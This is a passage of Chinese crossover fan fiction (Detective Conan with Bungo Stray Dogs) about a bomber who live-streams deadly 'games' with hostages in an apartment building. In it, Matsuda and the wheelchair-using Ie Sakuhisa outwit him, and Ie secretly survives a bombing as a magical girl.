松田阵平压抑着心头的怒火，这种场面真是让人难以忍受。 很明显这个炸弹犯非常厌恶警方。 这样的画面直播出去，肯定会引起很多人的关注，对方恐怕就是想要借此让警视厅的名声扫地。 似乎是见到了令人满意的场景，炸弹犯不再继续为难其他人，而是说道： “算了，既然大家都这么腼腆的话，那就让我们赶紧进入到游戏的第一个环节吧。” “其实四年前，这里曾经也有两次被安装过炸弹。之前因为一个勇气可嘉的警官付出了生命的代价，才换来了诸位的安全。” 炸弹犯语气轻佻，明明是说着赞美的词，却带着蔑视的口吻：“不知道大家是否还记得那位警官的名字呢？” 松田阵平当然最清楚不过。 ……那是萩原研二，他从小玩到大的幼驯染，他最重要的朋友。 就是这个混蛋害死了hagi，居然还敢在这种时候、用这种语气提起hagi，居然…… 这种愤怒几乎快要淹没他的理智，但现在不是发泄的时候，松田阵平攥紧了拳，勉强使自己冷静下来。 炸弹犯没有怎么卖关子，很快便继续道：“游戏的第一个环节就是回答有关那位警官的信息。” “为了防止作弊，请大家不要交流，每个人都把答案私发给我。对了，年幼的小孩子不用担心，你们可以和自己的家长共享成绩哦。” 炸弹犯表现得善解人意，转而却又说道： “限时15分钟作答，如果谁的成绩太过糟糕的话，可能就无法继续游戏了，也就……再也没有逃生的机会了。” 接着，炸弹犯报出了一个号码，让在场的人都向这个号码随便发送一条信息。 接收到信息之后，那个号码自动发来了一长串问题，显然炸弹犯早就提前做好了准备。 有人看着自己一个也回答不上来的这些问题，忍不住小声抱怨道：“我刚搬进来半年，之前那些事怎么可能会知道。” “是啊，谁会记得那么多，都已经是四年前的事情了，我现在连那个警察的名字都想不起来。” “这些问题也太难了……名字我倒是还有印象，但怎么可能知道他死亡的时间，工作的具体单位、这么多问题。” “又不是我害死那个人的，为什么要回答这些问题……” 面对着死亡的威胁，其他人也顾不上自己的行为会被直播出去，皆是绝望而崩溃地抱怨着，声音此起彼伏。 炸弹犯略微提高声音道：“安静下来，说好了限时15分钟，还请尽快作答吧，我是绝对不会延长时间的。” 松田阵平心一沉。 他是知道这些问题的答案的，可是其他人明显不知道…… 而且就算松田阵平明白处于死亡的威胁下，他们这样的态度是很正常的，没办法强硬地要求他们一辈子记住一个牺牲的警察。 可是作为朋友，当年眼睁睁地看着萩为此付出了自己的生命，松田阵平如今说不清自己听着这些话，心里到底是怎样复杂的情绪。 这时候，松田阵平的手机收到了一条新的简讯，他下意识点开。 伊江朔久：【你和外面的警察还保持着联系对吧？能让他们调查出这里其他人的邮箱地址吗？】 松田阵平愣了一下，回复道：【我问问。】 于是，松田阵平立刻换了个通讯页面，请求警方调查20层及以上居民的邮箱地址。 现在调查至少也需要几分钟。 伊江朔久又发来了简讯：【这些问题太多了，没办法及时写完并发给其他人。看来这个炸弹犯本来就不相信有人能答对这些，所以没有预留好足够的时间。】 伊江朔久：【我们只能分工写了，你从前往后写，我从后往前写，怎么样？】 松田阵平不禁感到讶异。 伊江居然知道这些问题的答案么，可是这么多问题，就算是萩原其他不算特别熟的朋友也很难回答吧？ 松田阵平犹豫道：【你没问题吗？】 伊江朔久：【是萩原警官的牺牲救了当初住在这里的我，我自然不会忘记他。放心吧，你只需要专心完成自己的那部分就行。】 松田阵平心底莫名骤然轻松了许多，某种压抑的情绪随之散去。 他回复：【好。】 再也没有不放心对方的念头了。 于是，在他们两人的分工合作下，这些问题的答案被迅速写完。 这时候，警方也调查完毕，把其他人的邮箱地址发了过来。 赶在15分钟时限所剩不多的最后时刻，他们将这些答案复制发送给了这里的其他人。 那些人收到答案，终于缓了一口气。 他们也没办法检查这些是否正确，时间也快到了，只能紧张又不安地复制粘贴又发给了炸弹犯。 15分钟的时间过了。 身处另一个地方的炸弹犯，通过监控画面看着这些人答题时无措又痛苦的样子，不由得无声地咧嘴笑了起来。 他已经想好等会儿该怎么做了，要把这些人空白或胡写的答卷也让网上的其他人看看。 要让所有人都知道，那个叫萩原研二的警察白白浪费了自己的生命，让仅有的某些个有良心的警察也为此寒心，彻底闹大警察和民众之间的矛盾…… 炸弹犯这样幻想着，打开了手机收件箱……结果，却看到了二三十份完全相同、全部正确的答卷。 炸弹犯不禁陷入沉思，然后默默地在心里打出了一个问号。 ——？ 什么鬼啊？！ 怎么都完全一样？就算是作弊也太敷衍了吧？！ 炸弹犯恼羞成怒，即使经过装置变声，其他人也能清楚听出他语气中的咬牙切齿。 “看来大家都很擅长作弊啊，每个人的答案都是一模一样，是在跟我开玩笑吗？这样可就一点意思都没有了……” 不过，炸弹犯虽然阴阳怪气地嘲讽了半天，可是也没有说什么惩罚，或是取消谁继续游戏的资格。 这在伊江朔久的预料之内。 因为罚不及众，炸弹犯很难惩罚所有人，更无法现在就杀死所有人，让游戏无法继续进行下去。 所以他才想着要让所有人答案一样，不能留给对方找茬来杀鸡儆猴的机会。 炸弹犯嘲讽地说了很久，嗓子都快要说干了，最终也只是气得冷笑一声，接着道： “……那现在，咳咳，我们就来开始下一个游戏环节吧。” 第29章 浅井公寓楼里发生的场景，同步直播给了外界。 炸弹犯提前做足了准备，这场直播经过了多个海外服务器。所以警方即使一直在查，但也根本无法在一天之内查到信号来源，难以找到犯人的踪迹。 此刻，很多人都看到了这场直播，甚至还有新闻媒体在实时报道这次事件。 佐藤美和子猜到松田阵平可能会在那其中，却没想到还能通过直播看到伊江朔久。 对方那样的身体状况，陷入那种危险情况真的很糟糕。就算楼梯间恢复畅通，或是从外部救援……他坐着轮椅也非常不方便逃生。 伊江君真是过于倒霉了。 佐藤感觉和对方认识以来，似乎还没过去多久，对方就已经遇到过了一连串糟糕的事情。 现在到底该怎么办？她完全想不到办法。 因为炸弹犯的威胁，警察们根本无法踏入浅井公寓楼。没有人敢保证炸弹会不会突然爆炸，也不知道犯人是否可能还在其他地方安装了监控。 所以，佐藤如今和其他警察一起守在楼下附近不远处。 她关注着直播画面，看着他们处于危险之中却又无能为力，只能徒然着急。 这时候，佐藤听见旁边的警察同事转接了一个电话。 同事惊讶地提高了声音：“什么？你有办法找到正在直播的这个炸弹犯？！” 佐藤和其他人听到这种话，都忍不住凑过去仔细听。 同事给他们比了一个噤声的手势，然后继续跟电话里的人说：“……你可以提供炸弹犯的所在地，想要在我们警方去逮捕的时候跟着一起来，是吗？” “这位先生，很感谢你的热心。可是抓捕行动实在是太危险了，我们不能让普通市民涉险……” 本来表示很为难的同事，听到对方说了什么后，又转变了话锋。 “你是说，炸弹犯随时可能更换位置逃跑，所以你跟着可以帮忙时刻追查到对方的踪迹……那好吧，真是太感谢您了。” “对了，请问您叫什么名字？现在在什么地方？” “好的，我们会立刻联络您的，太宰先生。” 挂完电话，同事和其他警察对上视线，都纷纷缓和了些许紧张的情绪。 虽然还不能确定是否能抓到炸弹犯，但至少现在总归有个解决办法的方向了。 佐藤也暂时松了口气……不过“太宰”这个姓氏似乎有点熟悉，她是不是最近在哪里听过来着？ …… 十分钟前，米花町的一处街道上。 国木田他们三人刚刚成功地抓住了那个能控制他人情绪的异能罪犯，完成了此次从横滨来到东京的任务。 “这家伙还真是能跑，这两天里居然换了这么多个地方。” 国木田独步一手制住那个异能犯，不由得抱怨道。 他们前天在饭店里找到了异能犯的踪迹，便有了追查的线索，还警告过对方。 可是这家伙还是不死心地想要逃跑，根本没有休息过，一直像只老鼠一样在米花町里四处乱窜。 当然异能犯只能是白费功夫，毕竟武装侦探社有一位前任社员田山花袋。 中岛敦也在这时感慨道：“幸好，我们有花袋先生帮忙。” 田山花袋的异能是操控视线内的电子设备，而且处理速度是常人的几十倍，所以他的黑客技术非常高超。 有了对方的帮助，他们才能牢牢地掌握着异能犯的动向，无论异能犯逃到哪里都摆脱不了被抓住的命运。 之前异能犯还逃进了挂满蛛网的巷子里，往一堆破烂废品里钻。发现还是被他们找来后，这家伙就又开始狂奔。 为了限制他们的异能发挥作用，异能犯特意跑回到人来人往的大街上。不过最终还是被他们成功逮住，狠狠揍了一顿才总算让对方没了继续逃跑的精力。 国木田卸下了心中的一块重石：“现在天也已经很晚了，很快就要到零点了。我们回去歇息一晚，明天再出发回横滨吧。” 太宰治拖长音调道：“明天就回去么？感觉还没怎么好好在东京玩玩呢。” 国木田不容拒绝道：“我们本来就不是来玩的！更何况都离开横滨多久了，明天必须得回去了。” 太宰治失望地应道：“好吧。” 这时候，他们注意到街边一个大型屏幕上正在播放着新闻。 新闻主持人在讲述此刻发生的一起恐怖事件，它之所以引起这么多人的关注，一来是涉及到了二三十个无辜民众的生命安全，二来是爆炸犯实时直播着他们正在进行的‘游戏’。 主持人旁边的显示屏上还放了那场直播的画面。 “那个人是，那天饭店里见到的……”中岛敦努力搜刮着记忆，突然道：“对，是伊江朔久先生！” 国木田皱着眉：“米花町这边看起来也不怎么安全啊，居然也会有犯人喜欢玩这种无聊的游戏。” 横滨也经常有这种类似的恐怖事件发生。他之前还以为，横滨算是特殊情况，别的地方会稍微安全许多呢。 中岛敦担忧道：“伊江先生应该不会出什么事吧？也不知道那个犯人这么做是为了什么。” “这种犯人我见多了，总归就是痛恨警方，想挑起警方和民众间的矛盾，制造恐慌和混乱，来达到自我满足和寻求关注的目的……” 国木田毫不客气地评价完，又顿了顿说道：“所以这个犯人肯定不打算轻易地放过这些民众，他大概希望看见所有人都死在那里，这样才能使这次的事件更加轰动。” “这么说，那些人岂不是很危险？”中岛敦脸上的表情更加忧虑。 “确实……太宰，你有没有什么好的办法？” 国木田也不忍见到这么多无辜民众被害，于是想起了脑子好用的搭档。 但是却没有收到回应。 国木田立刻左右来回望了一圈，刚刚还在旁边的青年已经没了人影，也不知道是什么时候突然走掉的。 “太宰呢——？！” 这家伙怎么又突然莫名其妙玩失踪？！！ …… 而浅井公寓楼内，其他人还不清楚外面的动向，只知道自己如今的处境非常危险，生死都掌握在别人的一念之间。 炸弹犯刚向他们宣布了游戏的第二个环节——给在场的人一个离开的机会，但要由警方来选出那个幸运的人。 在长久处于紧张压抑的环境下，这样的机会就像是救命的稻草，其他人不由得都燃起了一丝希望。 “警方有十分钟的思考时间，来决定选择谁离开这里。决定好了就直接通过刚才的邮件发给我吧。” 炸弹犯稍哑的声音难得随和，就好像是在为他们着想一样：“当然，在场的各位也可以对着直播镜头求求他们，表现得可怜一点，争取让自己先出去。” “毕竟这里实在是太危险了对吧，活着才是最重要的，这种时候就不要在意什么面子了。” 在场的人闻言面面相觑，都能看到彼此脸上的紧张和担忧。 过了片刻，有人最先打破了沉默。 那个比较年轻的母亲战战兢兢地开口：“能、能让我的孩子先出去吗？她年龄还小，留在这里也没有办法参与接下来的游戏，还是让她先离开吧。” 母亲松开怀里的女孩，想把她往前面推一推，让其他人和摄像头对面看直播的那些人都看看她。 但是小女孩紧紧攥着母亲的衣角，害怕地哽咽着说：“我不要走，我不……” “听话，小遥！”母亲提高了音量，显然有些着急。 女孩却哭得更大声了，依旧攥着她的衣服不放手，不肯离开她半步。 这时候，有人犹豫地开口道：“不用让这女孩离开吧，她参加不了接下来的游戏说不定还更安全呢，那个、什么……也不会有人为难小孩子的。” “这也不一定吧，万一要是等会儿这栋楼爆炸了……” “别说这种不吉利的话，我可不想死在这里。” 一个中年男子突然捂着胸口，脸色不好地说：“我有心脏病，紧张了就容易发作。我感觉我现在有点难受，就让我先出去看看医生吧。” “这谁知道真的假的，心脏病怎么可能不随身带着药。”十八九岁模样的年轻人嘟囔着。 中年男子听见了对方的话，怒道：“你说什么呢，你就是想自己出去才故意这么说我的吧。” “我才没有，只是觉得你这中气十足的样子不像发病而已。”年轻人立刻反驳，还扭头瞥了眼坐着轮椅的伊江朔久：“……还不如让一看就有需要的人先出去呢。” “就让小孩子先出去吧。” “都别吵了，反正这也不是我们能决定的吧，决定权在外面呢……” 松田阵平看着眼前的场景有点头疼，他想自己的同事在外面估计也是一样的心情吧。 炸弹犯这么做，就是为了看着这些人争吵的场面吗？还是为了让警方感到头疼难以抉择呢？ 松田阵平心里莫名感到有些奇怪。 按照他之前对这个炸弹犯的判断来看，对方应该是非常厌恶痛恨警方的。 游戏的第一个环节还能够理解，炸弹犯应该是想闹大警视厅和民众之间的矛盾，让其他警察寒心。也可能是因为对方一直对萩当初的选择耿耿于怀，想要证明那是愚蠢的做法。 但是，现在的第二个环节主要矛盾集中在这些民众之间。警方只要不特意选择让有背景有地位的人离开，就不会惹起太多纠纷。 这显然有些奇怪，所以第二个环节的目的到底是…… 松田阵平突然感觉自己的衣服被拉了一下，他的思绪被打断了，本能地低头看向旁边的伊江朔久。 伊江朔久另一只手握着手机，悄悄地对他轻晃了一下。 松田阵平了然地打开自己的手机，果然看到了伊江朔久刚刚给他发的简讯。 第30章 那条简讯是——【松田警官，你能给其他警察说让我先出去吗？我应该有办法能够解决这里的事情，但要先离开这里才行。】 松田阵平愣了一下，打字问道：【什么办法？】 伊江朔久回复道：【一时半会儿不太好解释。】 紧接着，伊江朔久又立刻发过来这样一条简讯：【你能相信我吗？松田警官。】 松田阵平并不是不信任对方。 他也清楚伊江家里条件不错，对方的爷爷似乎是财经界的大人物。上次也是因为伊江家里安排好了，所以伊江才能提前离开被封锁的医院。 而且就算伊江家里不是这样的情况，他也知道对方绝对不会畏惧死亡，不会为了活下去而说这种谎。 从之前的经历就能很轻易地判断出伊江不是那样的人。 松田阵平只是莫名有点不放心，似乎有什么地方被忽略了。 伊江朔久：【松田警官？现在时间所剩不多了，不能再继续耗下去了。】 确实不能再犹豫了，十分钟的时间很短暂，还得留出跟警方沟通的时间。 一旦时间截止，警方说出了他们的选择之后，就很难再做更改了。 松田阵平来不及再想那么多，快速应道：【好。】 紧接着，他就把伊江刚才的话转述给了警视厅的人，希望他们能选择伊江离开。 幸好松田阵平就在浅井公寓楼内，警方现如今需要依靠他里应外合。之后可能会帮上些忙。 所以上级便听从了他的话，甚至没有怎么犹豫。 十分钟的时间结束了，在其他人不安又带着隐隐希望的等待下，炸弹犯再次出声了。 “时间到了，警官们已经决定好了。幸运的伊江先生，请你举起手向大家示意一下吧。” 伊江朔久简单地举了下手又放下。 看着其他人的各种目光投过来，他没有说话，也没有露出喜悦或诧异的表情。 “那么，这位坐轮椅的先生，你现在就可以离开了。” 炸弹犯说完，走廊旁边的电梯之一就缓缓打开了，显然是他控制了电梯的运行程序。 这时候，那个母亲又鼓起勇气，把女孩推向前面道：“求求你们，让她跟着一起下去吧。她人小，影响不了什么的。” 年幼的女孩却不懂母亲的苦心，也可能只是不想离开母亲。 女孩被推开后又屡次回身，想要抱住母亲，哭着道：“妈妈、别不要我……” 炸弹犯没有被这样的场景打动，漠然地拒绝道：“不行，不能够打破游戏规则，只能由一个人下去。” 伊江朔久看向电梯，又侧头望了望还在哭泣的女孩。 他操控着轮椅往前，却停留在了女孩身边，温和地道：“你叫小遥，对吧？” “不要哭了好不好？等会儿结束游戏，我们就可以安全离开了。” 他从口袋里拿出了一块水果糖，递给对方，轻声笑着说：“这是给勇敢的孩子的奖励。” 女孩犹豫了一下，似乎很想伸手拿糖，但她还是先看了眼母亲。 母亲表情略显复杂想说些什么，最终还是把话咽了回去，没有表露出自己的想法，这便也是默认的意思。 女孩才犹豫地接过了糖，朝他点了点头，努力抑制住了自己的眼泪，极其小声地道：“谢谢。” 伊江朔久看着女孩停止了哭泣，神情放松了许多，然后才继续往着电梯的方向前进。 目视着他离开的背影，松田阵平心里的不安感骤然变得愈发强烈。 这种熟悉的感觉…… 有那么一瞬间，他仿佛回到了四年前，眼前是萩原研二最后离开时的身影。 “伊江！” 松田阵平忽然出声喊住对方。 伊江朔久回头，脸上带着些许疑惑：“怎么了？” 松田阵平也无法抓住心底那种说不清道不明的感觉，不知道自己这种时刻应该说些什么。 留下来继续跟炸弹犯进行那所谓的游戏，肯定是非常危险的。 而且他作为警察，即使是面对死亡也一定会保护这里的民众，就像之前的hagi一样。 如果伊江离开的话，他就会一个人面对这些……他是在担心这个吗？似乎不太对。 松田阵平顾不上思考，只是顺应了自己的内心。 他突然快步向前，直接走近伊江，将口袋里刚才唯一带过来的多用途工具刀，尽量隐蔽地塞到了对方怀里。 “小心点。” 伊江朔久有点惊讶松田的举动。 他知道自己肯定是用不到这个的，但他没有拒绝，而是眉眼一弯道：“谢谢你，松田。” 松田阵平没有说话，紧抿着嘴，看着面前的电梯门缓缓合上，直到再也看不见那个坐着轮椅的白发青年。 他突然想到，这是伊江朔久第一次直接叫他松田，之前似乎总叫的是松田警官。 这大概是因为炸弹犯正在监控着这里，所以对方才改口的吧…… 电梯在慢慢往下，但从二十层楼到一楼，最多也不过短短几分钟。 其他人沉默地看着上面显示的数字不断变化。 说不希望下去的人是自己肯定是假的，但这种时候他们也没办法再说些什么，只能将期待寄托于之后可能存在的机会。 可是，炸弹犯没有很快宣布下一个环节，只是好像等待着什么。 在这样安静得有些诡异的氛围下，松田阵平紧盯着面前的楼层显示器，脑中的思绪混乱难理。 随即，在场的所有人几乎都听到了，炸弹犯仿佛是忍不住从嗓子里泄出的一声闷笑。 松田阵平的不安感在这一刻升到了顶峰。 下一秒，一声爆炸的巨响从楼下骤然传来。 “轰隆——” 比先前在楼下草坪里发生的爆炸更加剧烈，这次的爆炸是直直地从他们脚下的方向传来，地板仿佛都因此晃了几晃。 在场的所有人都被这突如其来的声响所震撼，空气骤然凝固，只剩下爆炸的回音在耳边久久回荡。 母亲下意识地捂住了女孩的耳朵，两个人紧紧拥抱着缩在一起。 然而，恐惧还是如潮水般涌上心头，让这里的每一个人都觉得难以呼吸。 松田阵平更是如同被定在了原地，浑身僵硬，脑中一片空白，所有的思绪都被刚才的爆炸声所吞没。 电梯显示器上的数字被定格在了“1”……炸弹是在1楼爆炸的吗？这个问题的答案并不难猜出。 炸弹犯再也抑制不住地笑出声来，语气里充满了嘲讽，就好像是把游戏上一环节吃的瘪如数奉还一般解气： “祝大家愚人节快乐啊。” 空气里如同死一般的沉寂。 炸弹犯乐于看到这样的场景，但也不希望现在就把所有人吓得太过，要是他们自暴自弃、然后放弃继续游戏就麻烦了。 于是，他假意安慰道：“大家放心吧，炸弹的威力我控制得很好。只会对特定区域造成威胁，不会对建筑造成严重的破坏，更不会影响到20层的大家。你们现在还是很安全的。” “……” 松田阵平攥住了拳头，再想不起来什么顾全大局，咬牙逼问道：“你不是说让他离开吗？这不是你自己刚刚说的吗？！为什么……” 炸弹犯不急不慢地说：“我是说过让他离开这里，可没答应让他活着离开，这怎么能不算是一种离开的方式呢？” 这完全是在张口胡说。 松田阵平明白了，这家伙就是为了报复。 为了上一环节游戏的失利而报复他们，为了给警方身上泼脏水，才故意让警方来选择谁能够“离开”这里…… 松田阵平忽然想起伊江朔久给他发的那些简讯。 因为当时伊江的话，他联系了警方，让他们选择伊江离开。所以……如今的结果是他间接导致的。 伊江朔久发出简讯的时候，知道自己会因此而死吗？伊江知道炸弹犯实际上的打算吗？ ……他应该是知道的吧。 伊江当时发简讯说，自己要先离开这里，才有办法解决这些事情。 现在想来这是不太合理的，有什么是一定要他离开才能做到的？ 就算伊江家里的情况特殊，有权有势能够动用关系帮上忙，也不需要他离开这里。毕竟他拿着手机，完全可以借此联系上他认识的人。 那么必须出去的理由到底会是什么呢，是因为伊江猜出了炸弹犯的打算吗…… 松田阵平感觉到身体微微发冷，寒意从四肢末梢逐渐蔓延至全身。 因为伊江猜出了炸弹犯话语里隐藏的恶意，所以他为了不让其他人涉险，才撒谎让警方来选择自己。 他知道自己很可能会死。 可是，在电梯里最后的那个关头，他却还能那样轻松地笑着道谢…… 松田阵平有些熟悉那种感觉，恍惚间发觉伊江和自己有点相似，但却偏偏是在这种微妙的方面。 如果换作是自己的话，他确实也会做出和对方一样的选择，同样会轻松地面对死亡，为了民众而牺牲自己。 可是伊江不应该这样，他不是警察，没有这样做的责任，为什么会轻易下定决心为此赴死？ 松田阵平想不明白，也无力再想下去…… 其他人的情绪也经历了一番震荡。 刚才他们还在羡慕别人能够好运地离开这里，转眼间发生了这样的变化，他们心底的羡慕就转变成了后怕，纷纷庆幸刚刚被选中离开这里的人不是自己。 幸好被选中的是别人…… 年轻的母亲久久没有缓过神来。她紧紧地抱着小女孩，感受着怀里纤细的鲜活的生命，仍在心有余悸。 如果刚才女儿跟着下去的话，就会同那人一起死在那里了。 真是太可怖了，差一点、差一点她就要失去自己的小遥了。 她喃喃地说着，不知道是在安慰女儿还是安慰自己：“别怕，我们都会没事的。小遥，别怕，你一定不会有事的……” 出乎意料的，女孩虽然也被刚才的爆炸声吓到了，却没有哭。 过了片刻，在母亲怀里的女孩甚至还鼓起勇气来，学着母亲之前安慰她时的动作，反过来一下一下地拍着妈妈的背。 “妈妈，不怕……” 女孩的声音细弱、含糊不清，口中明显还含着那块水果糖：“我会勇敢的……” 母亲想到了刚才那个青年递过糖时的样子。 其实当时，她也是在心底忍不住责怪过对方的。不满于被选中的人是他而不是女儿，埋怨过对方为什么不帮着说点话、把女儿也一起带下去…… 而现在，她突然心里酸涩地说不出话了，只是低下头，更加用力地抱住了自己的女儿。【你现在阅读的是 】 30-40 第31章 先是浅井公寓楼底层的突然爆炸，再是炸弹犯吐露出的讽刺话语，然后这起恐怖事件随着第一个被宣判死亡的人而骤然升级。 更多的民众开始通过直播关注这次事件。 尽管警察们竭力想要封锁消息，但因为相关技术不够，各个论坛上还是遍布了民众对此的激烈讨论，其中还包含许多指责警方的言论。 【刚才乘电梯下去的那个人真的死了吗？】 【应该是吧，炸弹犯都那么说了……更何况他还行动不便，逃都不好逃，估计一下去就被炸死了吧。】 【竟然会发生这种事情，犯人都这样嚣张了，警察们怎么还是束手无策？？这么久都没见采取什么行动！】 【真可怜啊住在那栋公寓里的人，不知道接下来还会死多少人。】 【警视厅到底都干了些什么？居然就这么被炸弹犯戏弄，也太无能了吧。要是下次这种事情发生到我们头上，还怎么指望他们？！】 【可惜了，那个死去的人还那么年轻，明明坐着轮椅已经够可怜的了。】 【……】 而此刻，一位将近七十岁的老人也在关注这件事。 他一边在面前用电脑放着直播的画面，一边浏览着其它关于这次事件的报道，显然十分重视这次的爆炸案件。 这位老人的名字是枡山宪三。 ——有名的汽车制造公司的董事长，在财经界有着举足轻重的地位。但同时他背地里也是一个跨国犯罪组织的元老级成员，代号皮斯克。 枡山宪三一脸复杂地看着论坛上其他人的讨论。 几乎所有人都认为那个坐着轮椅的青年必死无疑了。 毕竟在那种提前针对性布置过的爆炸之下，别说是不良于行的人，就算是正常人都很难从中活下来吧。 但即使是这样，枡山宪三也难以相信只是这种程度的炸弹犯，就能使对方这么轻易地死掉。 枡山宪三不由得喃喃低语：“……他真的死了吗？” …… 另一边，太宰治也通过手机上的直播页面目睹了这一切。 他坐在警方的车里，静静地看着手机屏幕，面上没有什么表情，就好像在看着与自己毫不相干的无聊剧目。 车子终于行驶到目的地，停在了路边。 他身边的一个警察提醒道：“太宰先生，接下来的抓捕行动就交给我们吧。您可以就坐在这里，很快我们就能把炸弹犯抓回来了。” 毕竟对方已经通过查清信号来源，提供了犯人的详细所在地。剩下的他们警察要是还不能自己解决，恐怕就真的要完蛋了。 太宰治却摇了摇头：“没关系的，我又不是普通的市民，不会拖累你们的。” 这些警察这时已经知道对方是知名的武装侦探社的社员，也听过那个侦探社的一些神奇传闻。 有个警察犹豫地开口：“倒也不是担心被拖累……” “而且花袋君查出的地址无法精确到具体哪一户，我想我上去可以帮你们更快地、不打草惊蛇地逮捕他。” 太宰治顿了顿，幽幽地补充了一句：“……要是能早点抓到那家伙的话，也就不会再有人因此而死了吧。” 这句话还算委婉也并不严厉，却让这些警察感觉心被狠狠扎了一下。 这种话真的是……比被人指着鼻子骂他们警方无能，还要更令人难受。 “……好吧，那就麻烦你了，太宰先生。” …… 而目前的伊江朔久完全不清楚外界这些情况。 当时他尽管看出炸弹犯应该不怀好意，猜到了被选中的人可能会遭遇危险，但却不是怀着迎接死亡的心情下去的。 毕竟……他可是魔法少女。 虽然说起来还是有些不好意思，但身为魔法少女，怎么可能会因为普通人类制作的一个普通炸弹而轻易死掉呢？ 在电梯门被合上之后，他就立刻把电梯里面的监控摄像头破坏掉了，即使不清楚犯人有没有控制这里的监控。 总之不能留下任何能够证明他是魔法少女的证据。 紧接着，为了有备无患，伊江朔久就直接变身了。 在电梯抵达一楼后，他没有立即出去，而是等了好几秒，果然电梯外面突然一下就爆炸了。 他估测炸弹犯应该还打算用这里的电梯，所以爆炸的威力不算很大，炸弹放置的位置也稍显远了一点点，只能将电梯外通向出口那片区域的人给炸死，不至于彻底破坏电梯。 伊江朔久在这种程度的爆炸下，轻松地保全了自己。 他将轮椅暂且留在电梯内，并且控制住电梯，使其关闭着停留在一楼。 他在心里跟系统闲聊：‘好了，接下来就以朔夜的身份，上去解决掉这次事件吧。’ 这种无聊的游戏也是时候该结束了。 系统支持道：【嗯！】 …… “不要灰心了，就让我们继续游戏吧。” 炸弹犯的声音依旧轻松：“这次仍旧是选择你们当中的一个人离开这里哦，不过这次是真的放那个人活着离开，而选择权就交给在场的各位了。” “你们现场投票吧，得票最多的那个人就可以离开了。当然，自己投自己也是可以的。” 刚刚看着上一个离开的人被炸死，如今再面临相似的游戏，即使炸弹犯保证了自己的话是真的，也没人敢相信他。 毕竟不是谁都有勇气拿自己的命来当赌注。 要是炸弹犯再笑着说上一句愚人节快乐，那可真是没处说理去了。 看着这里的人犹豫不定、充满怀疑的神情，炸弹犯沉下了声音：“我可是好心地给你们一次机会的。如果没人投票的话，那我就只能随便选一个人好了。” 这种话听起来挺恐怖的，就好像是在说随便选一个人杀掉好了。 于是，一个中年人立刻慌张着说道：“这、这种机会就留给小孩子吧，我们得尊老爱幼才对。” 马上就有人不客气地怼他：“你先前不是还说自己有心脏病吗？现在这么好的机会，你怎么自己不下去啊？” 中年人难以辩解，只能道：“反正你不也是一样，有本事你就自己投自己下去啊。” 那人咬咬牙，似乎也想逞个英雄，但到底还是没能说出那种洒脱无畏的话：“我、我……” 这次的选择比上一次的更加困难。 上一次从表面上来看，是选择谁能脱离险境。 其他没被选中的人心底还有期望，毕竟有这么多人一起陪着自己，之后可能还是有机会脱险的。 而这一次就像是选择谁去送死一样，有几个人敢做出选择？ 在直播镜头下，谁敢投票让别人去送死？又怎么敢把自己的命当成儿戏？ 所有人的表情几乎都很纠结痛苦，炸弹犯看一直没有什么人投票，于是开口道：“看来大家都放弃了选择，那就由我来选——” “让我离开。” 松田阵平打断了炸弹犯的话，声音沉着而坚决，却仿佛被一层厚重的阴霾所笼罩。 炸弹犯当然还记得这个人，对方之前的行为看起来和刚死的那人很熟悉，他不禁觉得很有意思。 “你是想下去见你的那个朋友吧？你真幸运，既然现在其他人都不想下去，那我就成全你吧。” 炸弹犯开始操控电梯运行程序，恶趣味地想要控制刚才伊江下去时的那个电梯再上来，让松田乘坐那个电梯。 结果却意外地发现控制失灵了，其他两个电梯还能控制，然而偏偏只有那个电梯不听使唤。 之前的爆炸还是把它弄坏了吗？ 炸弹犯只能这么猜测，然后无奈地换了一个电梯操控，使它开门。 电梯门刚一开，炸弹犯还没来得及催促，就看见松田阵平干脆地走了进去。 炸弹犯沉默：“……” 这么快就做好赴死准备的人实在难得。 虽然他本来就打算这次放一个人活着离开，因为话语里有真有假才更能逗其他人玩，让他们更加体会到愚人节的快乐。 但现在仔细想想，要是真的就这样成全对方，让对方到一楼成功与自己的朋友“会面”。 即使这个人只会活着见到另一人的尸体，但一想到，这也算是成全了对方，他心里便莫名有种输了的感觉。 还是别让对方如愿吧。 于是，炸弹犯又操控了下运行程序，将这个电梯的目的地改到二楼。 正好一楼走廊中央那附近因为爆炸，天花板墙壁等一些建筑物应该坍塌了，虽然不至于破坏最重要的承重结构，但也大概很不方便通行。 反正把这个人放到二楼，对方应该就能自己想办法离开了，二楼的高度就算跳楼也死不了。 “还没好吗？” 松田阵平站在久久没反应的电梯内，语气很不好地问道。 能在这种情况下，这么催促他的人还真是罕见…… 炸弹犯阴阳怪气地道：“好了，现在就送你下去和你朋友团聚。” 松田阵平听着这样的话，依旧非常冷静。 他漠然地看着电梯门缓缓合上，门外的那些人脸上表情各异，并且此刻大多都不敢看向自己。 松田阵平能够理解他们，普通人这样的反应很正常。 如果伊江也是这样就好了，应该像这些人一样学会珍惜自己的生命才对。 而他自己做出这样的选择，则是因为自己的身份。 警察有责任保护民众的生命安全，即使是付出自己的生命，当年他入警的时候就宣誓过了的。 这是理所当然的事情…… “谢谢——” 这样的声音措不及防地响起，带着明显的哭腔和歉意。 电梯门合上的最后一刻，松田阵平看见了，那个抱着女儿的母亲突然朝这边喊出了这样一句话。 旁边的小女孩茫然又担心地仰头看着母亲，不明白她为什么会露出这么痛苦的表情。 松田阵平轻叹了一口气。 这不是她的错，也不是其他民众的错，唯一要怪罪的只应该是那个炸弹犯。 如果这些人都能活下去就好了，延续着萩和伊江的那一份活下去……可惜现如今也只能将希望寄托于外面的同事们了。 电梯慢慢往下运行，松田阵平安静地站立着等待。 等待属于自己的命运到来。 第32章 没过多久，电梯到达了目标楼层。 然而电梯门打开之后，松田阵平看到的不是一楼的场景。 他没有担心外面可能随时会发生爆炸，直接就走了出去，看到这边墙壁上标着的是“2层”。 周围风平浪静，松田阵平左右打量一番，没有在这里找到什么摄像头和炸弹。等了片刻，这里也好像没有要爆炸的意思。 显然，幸运眷顾了他。 松田阵平没有多高兴，第一时间想的是赶紧回到电梯里，再试试能不能重新上到20层。 有他在那里，还有可能之后找机会和警方里应外合，至少能帮上点忙。 再说，他本来就是做好了死的准备，才在知道这里被安放了炸弹的情况下，依旧踏进了这栋公寓楼的。当然不会在这次事件没结束前就轻易离开。 然而，电梯门现在已经合上了，松田阵平按旁边的按键也一直不起反应。 ‘松田阵平。’ 身后突然传来了陌生的声音。 怎么可能会有人在这时出现喊他的名字？ 松田阵平意外地快速回头望去，却奇怪地没有看见任何人的身影…… ‘松田阵平！’ 那声音加重了几分，虽然声线依旧甜美友善，却显然加上了点微妙的不太高兴的语气。 